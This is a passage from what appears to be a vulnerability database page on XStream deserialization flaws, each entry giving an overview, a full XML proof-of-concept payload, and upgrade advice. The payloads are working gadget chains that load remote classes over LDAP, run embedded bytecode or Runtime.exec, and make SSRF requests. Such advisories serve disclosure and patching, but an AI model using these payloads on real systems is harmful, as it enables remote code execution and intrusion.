                  <children class='javax.naming.directory.BasicAttribute$ValuesEnumImpl'>
                    <list class='com.sun.xml.internal.dtdparser.SimpleHashtable'>
                      <current>
                        <hash>1</hash>
                        <key class='javax.naming.Binding'>
                          <name>ysomap</name>
                          <isRel>false</isRel>
                            <boundObj class='com.sun.jndi.ldap.LdapReferralContext'>
                              <refCtx class='javax.naming.spi.ContinuationDirContext'>
                                <cpe>
                                  <stackTrace/>
                                  <suppressedExceptions class='java.util.Collections$UnmodifiableRandomAccessList' resolves-to='java.util.Collections$UnmodifiableList'>
                                    <c class='list'/>
                                    <list reference='../c'/>
                                  </suppressedExceptions>
                                  <resolvedObj class='javax.naming.Reference'>
                                    <className>EvilObj</className>
                                    <addrs/>
                                    <classFactory>EvilObj</classFactory>
                                    <classFactoryLocation>http://127.0.0.1:1099/</classFactoryLocation>
                                  </resolvedObj>
                                  <altName class='javax.naming.CompoundName' serialization='custom'>
                                    <javax.naming.CompoundName>
                                      <properties/>
                                      <int>1</int>
                                      <string>ysomap</string>
                                    </javax.naming.CompoundName>
                                  </altName>
                                </cpe>
                              </refCtx>
                              <skipThisReferral>false</skipThisReferral>
                              <hopCount>0</hopCount>
                            </boundObj>
                        </key>
                      </current>
                      <currentBucket>0</currentBucket>
                      <count>0</count>
                      <threshold>0</threshold>
                    </list>
                  </children>
                  <currentReturned>true</currentReturned>
                  <currentChildExpanded>false</currentChildExpanded>
                  <rootProcessed>true</rootProcessed>
                  <scope>2</scope>
                </aliases>
              </it>
            </mm>
          </multiPart>
        </sm>
      </message>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
      <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
        <parsedMessage>true</parsedMessage>
        <soapVersion>SOAP_11</soapVersion>
        <bodyParts/>
        <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
          <attachmentsInitialized>false</attachmentsInitialized>
          <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
            <soapPart/>
            <mm>
              <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                <aliases class='com.sun.jndi.ldap.LdapSearchEnumeration'>
                  <listArg class='javax.naming.CompoundName' serialization='custom'>
                    <javax.naming.CompoundName>
                      <properties/>
                      <int>1</int>
                      <string>ysomap</string>
                    </javax.naming.CompoundName>
                  </listArg>
                  <cleaned>false</cleaned>
                  <res>
                    <msgId>0</msgId>
                    <status>0</status>
                  </res>
                  <enumClnt>
                    <isLdapv3>false</isLdapv3>
                    <referenceCount>0</referenceCount>
                    <pooled>false</pooled>
                    <authenticateCalled>false</authenticateCalled>
                  </enumClnt>
                  <limit>1</limit>
                  <posn>0</posn>
                  <homeCtx>
                    <__contextType>0</__contextType>
                    <port__number>1099</port__number>
                    <hostname>127.0.0.1</hostname>
                    <clnt reference='../../enumClnt'/>
                    <handleReferrals>0</handleReferrals>
                    <hasLdapsScheme>true</hasLdapsScheme>
                    <netscapeSchemaBug>false</netscapeSchemaBug>
                    <referralHopLimit>0</referralHopLimit>
                    <batchSize>0</batchSize>
                    <deleteRDN>false</deleteRDN>
                    <typesOnly>false</typesOnly>
                    <derefAliases>0</derefAliases>
                    <addrEncodingSeparator/>
                    <connectTimeout>0</connectTimeout>
                    <readTimeout>0</readTimeout>
                    <waitForReply>false</waitForReply>
                    <replyQueueSize>0</replyQueueSize>
                    <useSsl>false</useSsl>
                    <useDefaultPortNumber>false</useDefaultPortNumber>
                    <parentIsLdapCtx>false</parentIsLdapCtx>
                    <hopCount>0</hopCount>
                    <unsolicited>false</unsolicited>
                    <sharable>false</sharable>
                    <enumCount>1</enumCount>
                    <closeRequested>false</closeRequested>
                  </homeCtx>
                  <more>true</more>
                  <hasMoreCalled>true</hasMoreCalled>
                  <startName class='javax.naming.ldap.LdapName' serialization='custom'>
                    <javax.naming.ldap.LdapName>
                      <default/>
                      <string>uid=ysomap,ou=oa,dc=example,dc=com</string>
                    </javax.naming.ldap.LdapName>
                  </startName>
                  <searchArgs>
                    <name class='javax.naming.CompoundName' reference='../../listArg'/>
                    <filter>ysomap</filter>
                    <cons>
                      <searchScope>1</searchScope>
                      <timeLimit>0</timeLimit>
                      <derefLink>false</derefLink>
                      <returnObj>true</returnObj>
                      <countLimit>0</countLimit>
                    </cons>
                    <reqAttrs/>
                  </searchArgs>
                  <entries>
                    <com.sun.jndi.ldap.LdapEntry>
                      <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                      <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                        <default>
                          <ignoreCase>false</ignoreCase>
                        </default>
                        <int>4</int>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>objectClass</attrID>
                            </default>
                            <int>1</int>
                            <string>javaNamingReference</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaCodeBase</attrID>
                            </default>
                            <int>1</int>
                            <string>http://127.0.0.1/</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaClassName</attrID>
                            </default>
                            <int>1</int>
                            <string>foo</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                        <com.sun.jndi.ldap.LdapAttribute serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ordered>false</ordered>
                              <attrID>javaFactory</attrID>
                            </default>
                            <int>1</int>
                            <string>EvilObj</string>
                          </javax.naming.directory.BasicAttribute>
                          <com.sun.jndi.ldap.LdapAttribute>
                            <default>
                              <rdn class=''javax.naming.CompositeName'' serialization=''custom''>
                                <javax.naming.CompositeName>
                                  <int>0</int>
                                </javax.naming.CompositeName>
                              </rdn>
                            </default>
                          </com.sun.jndi.ldap.LdapAttribute>
                        </com.sun.jndi.ldap.LdapAttribute>
                      </attributes>
                    </com.sun.jndi.ldap.LdapEntry>
                  </entries>
                </aliases>
              </it>
            </mm>
          </multiPart>
        </sm>
      </message>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<sorted-set>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='javax.swing.MultiUIDefaults' serialization='custom'>
      <unserializable-parents/>
      <hashtable>
        <default>
          <loadFactor>0.75</loadFactor>
          <threshold>525</threshold>
        </default>
        <int>700</int>
        <int>0</int>
      </hashtable>
      <javax.swing.UIDefaults>
        <default>
          <defaultLocale>zh_CN</defaultLocale>
          <resourceCache/>
        </default>
      </javax.swing.UIDefaults>
      <javax.swing.MultiUIDefaults>
        <default>
          <tables>
            <javax.swing.UIDefaults serialization='custom'>
              <unserializable-parents/>
              <hashtable>
                <default>
                  <loadFactor>0.75</loadFactor>
                  <threshold>525</threshold>
                </default>
                <int>700</int>
                <int>1</int>
                <string>ggg</string>
                <javax.swing.UIDefaults_-ProxyLazyValue>
                  <className>javax.naming.InitialContext</className>
                  <methodName>doLookup</methodName>
                  <args>
                    <arg>ldap://localhost:1099/CallRemoteMethod</arg>
                  </args>
                </javax.swing.UIDefaults_-ProxyLazyValue>
              </hashtable>
              <javax.swing.UIDefaults>
                <default>
                  <defaultLocale reference='../../../../../../../javax.swing.UIDefaults/default/defaultLocale'/>
                  <resourceCache/>
                </default>
              </javax.swing.UIDefaults>
            </javax.swing.UIDefaults>
          </tables>
        </default>
      </javax.swing.MultiUIDefaults>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
  <javax.naming.ldap.Rdn_-RdnEntry>
    <type>ysomap</type>
    <value class='com.sun.org.apache.xpath.internal.objects.XString'>
      <m__obj class='string'>test</m__obj>
    </value>
  </javax.naming.ldap.Rdn_-RdnEntry>
</sorted-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<linked-hash-set>
  <dynamic-proxy>
    <interface>map</interface>
    <handler class='com.sun.corba.se.spi.orbutil.proxy.CompositeInvocationHandlerImpl'>
      <classToInvocationHandler class='linked-hash-map'/>
      <defaultHandler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Object</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Object</class>
              <name>hashCode</name>
              <parameter-types/>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl' serialization='custom'/>
                <com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
                  <default>
                    <__name>Pwnr</__name>
                    <__bytecodes>
                      <byte-array>yv66vgAAADIAOQoAAwAiBwA3BwAlBwAmAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBa0gk/OR3e8+AQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBABNTdHViVHJhbnNsZXRQYXlsb2FkAQAMSW5uZXJDbGFzc2VzAQA1THlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkU3R1YlRyYW5zbGV0UGF5bG9hZDsBAAl0cmFuc2Zvcm0BAHIoTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007W0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhkb2N1bWVudAEALUxjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NOwEACGhhbmRsZXJzAQBCW0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKRXhjZXB0aW9ucwcAJwEApihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtMY29tL3N1bi9vcmcvYXBhY2hlL3htbC9pbnRlcm5hbC9kdG0vRFRNQXhpc0l0ZXJhdG9yO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7KVYBAAhpdGVyYXRvcgEANUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7AQAHaGFuZGxlcgEAQUxjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL3NlcmlhbGl6ZXIvU2VyaWFsaXphdGlvbkhhbmRsZXI7AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAoAQAzeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkAQBAY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL3J1bnRpbWUvQWJzdHJhY3RUcmFuc2xldAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQA5Y29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL1RyYW5zbGV0RXhjZXB0aW9uAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwEACDxjbGluaXQ+AQARamF2YS9sYW5nL1J1bnRpbWUHACoBAApnZXRSdW50aW1lAQAVKClMamF2YS9sYW5nL1J1bnRpbWU7DAAsAC0KACsALgEACGNhbGMuZXhlCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAbeXNvc2VyaWFsL1B3bmVyNjMzNTA1NjA2NTkzAQAdTHlzb3NlcmlhbC9Qd25lcjYzMzUwNTYwNjU5MzsAIQACAAMAAQAEAAEAGgAFAAYAAQAHAAAAAgAIAAQAAQAKAAsAAQAMAAAALwABAAEAAAAFKrcAAbEAAAACAA0AAAAGAAEAAAAvAA4AAAAMAAEAAAAFAA8AOAAAAAEAEwAUAAIADAAAAD8AAAADAAAAAbEAAAACAA0AAAAGAAEAAAA0AA4AAAAgAAMAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAFwAYAAIAGQAAAAQAAQAaAAEAEwAbAAIADAAAAEkAAAAEAAAAAbEAAAACAA0AAAAGAAEAAAA4AA4AAAAqAAQAAAABAA8AOAAAAAAAAQAVABYAAQAAAAEAHAAdAAIAAAABAB4AHwADABkAAAAEAAEAGgAIACkACwABAAwAAAAkAAMAAgAAAA+nAAMBTLgALxIxtgA1V7EAAAABADYAAAADAAEDAAIAIAAAAAIAIQARAAAACgABAAIAIwAQAAk=</byte-array>
                      <byte-array>yv66vgAAADIAGwoAAwAVBwAXBwAYBwAZAQAQc2VyaWFsVmVyc2lvblVJRAEAAUoBAA1Db25zdGFudFZhbHVlBXHmae48bUcYAQAGPGluaXQ+AQADKClWAQAEQ29kZQEAD0xpbmVOdW1iZXJUYWJsZQEAEkxvY2FsVmFyaWFibGVUYWJsZQEABHRoaXMBAANGb28BAAxJbm5lckNsYXNzZXMBACVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb287AQAKU291cmNlRmlsZQEADEdhZGdldHMuamF2YQwACgALBwAaAQAjeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRGb28BABBqYXZhL2xhbmcvT2JqZWN0AQAUamF2YS9pby9TZXJpYWxpemFibGUBAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAABAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAAPAAOAAAADAABAAAABQAPABIAAAACABMAAAACABQAEQAAAAoAAQACABYAEAAJ</byte-array>
                    </__bytecodes>
                    <__transletIndex>-1</__transletIndex>
                    <__indentNumber>0</__indentNumber>
                  </default>
                </com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl>
              </proxy>
              <implementing__method>
                <class>com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl</class>
                <name>getOutputProperties</name>
                <parameter-types/>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </defaultHandler>
    </handler>
  </dynamic-proxy>
</linked-hash-set>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• GitHub Advisory
• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Arbitrary Code Execution. This vulnerability may allow a remote attacker to load and execute arbitrary code from a remote host only by manipulating the processed input stream. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 uses no longer a blacklist by default, since it cannot be secured for general purpose.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.org.apache.xpath.internal.objects.XString'>
        <m__obj class='string'>com.sun.xml.internal.ws.api.message.Packet@2002fc1d Content: &#x3C;none&#x3E;</m__obj>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
    <javax.naming.ldap.Rdn_-RdnEntry>
      <type>12345</type>
      <value class='com.sun.xml.internal.ws.api.message.Packet' serialization='custom'>
        <message class='com.sun.xml.internal.ws.message.saaj.SAAJMessage'>
          <parsedMessage>true</parsedMessage>
          <soapVersion>SOAP_11</soapVersion>
          <bodyParts/>
          <sm class='com.sun.xml.internal.messaging.saaj.soap.ver1_1.Message1_1Impl'>
            <attachmentsInitialized>false</attachmentsInitialized>
            <multiPart class='com.sun.xml.internal.messaging.saaj.packaging.mime.internet.MimePullMultipart'>
              <soapPart/>
              <mm>
                <it class='com.sun.org.apache.xml.internal.security.keys.storage.implementations.KeyStoreResolver$KeyStoreIterator'>
                  <aliases class='com.sun.jndi.ldap.LdapBindingEnumeration'>
                    <homeCtx>
                      <hostname>233.233.233.233</hostname>
                      <port__number>2333</port__number>
                      <clnt class='com.sun.jndi.ldap.LdapClient'/>
                    </homeCtx>
                    <hasMoreCalled>true</hasMoreCalled>
                    <more>true</more>
                    <posn>0</posn>
                    <limit>1</limit>
                    <entries>
                      <com.sun.jndi.ldap.LdapEntry>
                        <DN>uid=songtao.xu,ou=oa,dc=example,dc=com</DN>
                        <attributes class='javax.naming.directory.BasicAttributes' serialization='custom'>
                          <javax.naming.directory.BasicAttribute>
                            <default>
                              <ignoreCase>false</ignoreCase>
                            </default>
                            <int>4</int>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>objectClass</attrID>
                                </default>
                                <int>1</int>
                                <string>javanamingreference</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaCodeBase</attrID>
                                </default>
                                <int>1</int>
                                <string>http://127.0.0.1:2333/</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaClassName</attrID>
                                </default>
                                <int>1</int>
                                <string>refClassName</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                            <javax.naming.directory.BasicAttribute serialization='custom'>
                              <javax.naming.directory.BasicAttribute>
                                <default>
                                  <ordered>false</ordered>
                                  <attrID>javaFactory</attrID>
                                </default>
                                <int>1</int>
                                <string>Evil</string>
                              </javax.naming.directory.BasicAttribute>
                            </javax.naming.directory.BasicAttribute>
                          </javax.naming.directory.BasicAttribute>
                        </attributes>
                      </com.sun.jndi.ldap.LdapEntry>
                    </entries>
                  </aliases>
                </it>
              </mm>
            </multiPart>
          </sm>
        </message>
      </value>
    </javax.naming.ldap.Rdn_-RdnEntry>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Remote Code Execution (RCE). This vulnerability may allow a remote attacker that has sufficient rights to execute commands on the host only by manipulating the processed input stream. No user is affected who followed the recommendation to set up XStream's security framework with a whitelist limited to the minimal required types. XStream 1.4.18 no longer uses a blacklist by default, since it cannot be secured for general purposes.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='sun.tracing.NullProvider'>
        <active>true</active>
        <providerType>java.lang.Comparable</providerType>
        <probes>
          <entry>
            <method>
              <class>java.lang.Comparable</class>
              <name>compareTo</name>
              <parameter-types>
                <class>java.lang.Object</class>
              </parameter-types>
            </method>
            <sun.tracing.dtrace.DTraceProbe>
              <proxy class='java.lang.Runtime'/>
              <implementing__method>
                <class>java.lang.Runtime</class>
                <name>exec</name>
                <parameter-types>
                  <class>java.lang.String</class>
                </parameter-types>
              </implementing__method>
            </sun.tracing.dtrace.DTraceProbe>
          </entry>
        </probes>
      </handler>
    </dynamic-proxy>
    <string>calc</string>
  </java.util.PriorityQueue>
</java.util.PriorityQueue>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• CISA - Known Exploited Vulnerabilities
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

PoC

<map>
  <entry>
    <jdk.nashorn.internal.runtime.Source_-URLData>
      <url>http://localhost:8080/internal/</url>
      <cs>GBK</cs>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_-URLData>
    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
  </entry>
  <entry>
    <jdk.nashorn.internal.runtime.Source_-URLData>
      <url>http://localhost:8080/internal/</url>
      <cs reference='../../../entry/jdk.nashorn.internal.runtime.Source_-URLData/cs'/>
      <hash>1111</hash>
      <array>b</array>
      <length>0</length>
      <lastModified>0</lastModified>
    </jdk.nashorn.internal.runtime.Source_-URLData>
    <jdk.nashorn.internal.runtime.Source_-URLData reference='../jdk.nashorn.internal.runtime.Source_-URLData'/>
  </entry>
</map>

XStream xstream = new XStream();
xstream.fromXML(xml);

Remediation

Upgrade com.thoughtworks.xstream:xstream to version 1.4.18 or higher.

References

• XStream Advisory
• XStream Changelog
• Nuclei Templates

Overview

com.thoughtworks.xstream:xstream is a simple library to serialize objects to XML and back again.

Affected versions of this package are vulnerable to Server-Side Request Forgery (SSRF). This vulnerability may allow a remote attacker to request data from internal resources that are not publicly available only by manipulating the processed input stream with a Java runtime version 14 to 8. No user is affected, who followed the recommendation to setup XStream's security framework with a whitelist limited to the minimal required types.

PoC

<java.util.PriorityQueue serialization='custom'>
  <unserializable-parents/>
  <java.util.PriorityQueue>
    <default>
      <size>2</size>
    </default>
    <int>3</int>
    <dynamic-proxy>
      <interface>java.lang.Comparable</interface>
      <handler class='com.sun.xml.internal.ws.client.sei.SEIStub'>
        <owner/>
        <managedObjectManagerClosed>false</managedObjectManagerClosed>
        <databinding class='com.sun.xml.internal.ws.db.DatabindingImpl'>
          <stubHandlers>
            <entry>
              <method>
                <class>java.lang.Comparable</class>
                <name>compareTo</name>
                <parameter-types>
                  <class>java.lang.Object</class>
                </parameter-types>
              </method>
              <com.sun.xml.internal.ws.client.sei.StubHandler>
                <bodyBuilder class='com.sun.xml.internal.ws.client.sei.BodyBuilder$DocLit'>
                  <indices>
                    <int>0</int>
                  </indices>
                  <getters>
                    <com.sun.xml.internal.ws.client.sei.ValueGetter>PLAIN</com.sun.xml.internal.ws.client.sei.ValueGetter>
                  </getters>
                  <accessors>
                    <com.sun.xml.internal.ws.spi.db.JAXBWrapperAccessor_-2>
                      <val_-isJAXBElement>false</val_-isJAXBElement>
                      <val_-getter class='com.sun.xml.internal.ws.spi.db.FieldGetter'>
                        <type>int</type>
                        <field>
                          <name>hash</name>
                          <clazz>java.lang.String</clazz>
                        </field>
                      </val_-getter>
                      <val_-isListType>false</val_-isListType>
                      <val_-n>
                        <namespaceURI/>
                        <localPart>hash</localPart>
                        <prefix/>
                      </val_-n>
                      <val_-setter class='com.sun.xml.internal.ws.spi.db.MethodSetter'>
                        <type>java.lang.String</type>
                        <method>
                          <class>jdk.nashorn.internal.runtime.Source</class>
                          <name>readFully</name>
                          <parameter-types>
                            <class>java.net.URL</class>
                          </parameter-types>
                        </method>
                      </val_-setter>
                      <outer-class>
                        <propertySetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field>
                                <name>serialPersistentFields</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>java.util.Comparator</type>
                              <field>
                                <name>CASE_INSENSITIVE_ORDER</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>long</type>
                              <field>
                                <name>serialVersionUID</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>value</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>[C</type>
                              <field>
                                <name>value</name>
                                <clazz>java.lang.String</clazz>
                              </field>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                          <entry>
                            <string>hash</string>
                            <com.sun.xml.internal.ws.spi.db.FieldSetter>
                              <type>int</type>
                              <field reference='../../../../../val_-getter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldSetter>
                          </entry>
                        </propertySetters>
                        <propertyGetters>
                          <entry>
                            <string>serialPersistentFields</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>[Ljava.io.ObjectStreamField;</type>
                              <field reference='../../../../propertySetters/entry/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>CASE_INSENSITIVE_ORDER</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>java.util.Comparator</type>
                              <field reference='../../../../propertySetters/entry[2]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>serialVersionUID</string>
                            <com.sun.xml.internal.ws.spi.db.FieldGetter>
                              <type>long</type>
                              <field reference='../../../../propertySetters/entry[3]/com.sun.xml.internal.ws.spi.db.FieldSetter/field'/>
                            </com.sun.xml.internal.ws.spi.db.FieldGetter>
                          </entry>
                          <entry>
                            <string>value</string>
